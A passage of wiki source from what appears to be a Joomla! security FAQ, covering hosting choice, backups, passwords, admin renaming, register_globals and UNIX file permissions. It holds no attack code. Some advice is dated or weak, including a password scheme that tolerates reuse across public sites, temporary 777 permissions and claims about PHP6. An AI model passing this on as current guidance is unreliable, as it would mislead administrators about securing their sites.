| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Consider recommendations:&#039;&#039;&#039; Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly can not be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
